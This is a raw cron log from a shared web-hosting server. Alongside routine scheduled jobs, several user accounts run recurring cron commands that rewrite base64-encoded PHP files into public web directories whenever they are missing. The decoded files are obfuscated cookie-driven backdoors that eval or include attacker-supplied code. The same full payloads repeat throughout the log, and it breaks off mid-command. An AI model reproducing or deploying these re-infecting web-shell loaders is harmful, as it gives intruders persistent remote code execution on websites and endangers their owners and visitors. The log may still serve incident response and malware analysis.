Mar  2 12:50:01 medusa CROND[9012]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:50:01 medusa CROND[8992]: (root) CMD (/usr/bin/kcarectl --auto-update )
Mar  2 12:50:01 medusa CROND[9017]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 12:50:01 medusa CROND[9009]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 12:50:01 medusa CROND[9026]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:50:01 medusa CROND[9028]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:50:01 medusa CROND[9030]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 12:50:01 medusa CROND[9008]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 12:50:01 medusa CROND[9006]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 12:50:01 medusa CROND[9024]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 12:51:01 medusa CROND[25975]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:51:01 medusa CROND[26194]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:51:01 medusa CROND[26195]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:51:01 medusa CROND[26196]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 12:51:01 medusa CROND[26197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:51:01 medusa CROND[26199]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:51:01 medusa CROND[26201]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 12:51:01 medusa CROND[26204]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:51:01 medusa CROND[26206]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 12:51:01 medusa CROND[26212]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:51:01 medusa CROND[26215]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:51:01 medusa CROND[26217]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:51:01 medusa CROND[26207]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 12:51:01 medusa CROND[26219]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:51:01 medusa CROND[26216]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:52:02 medusa CROND[13792]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:52:02 medusa CROND[13797]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 12:52:02 medusa CROND[13798]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 12:52:02 medusa CROND[13799]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:52:02 medusa CROND[13801]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:52:02 medusa CROND[13800]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:52:02 medusa CROND[13803]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:52:02 medusa CROND[13804]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:52:02 medusa CROND[13805]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:52:02 medusa CROND[13807]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:52:02 medusa CROND[13813]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > 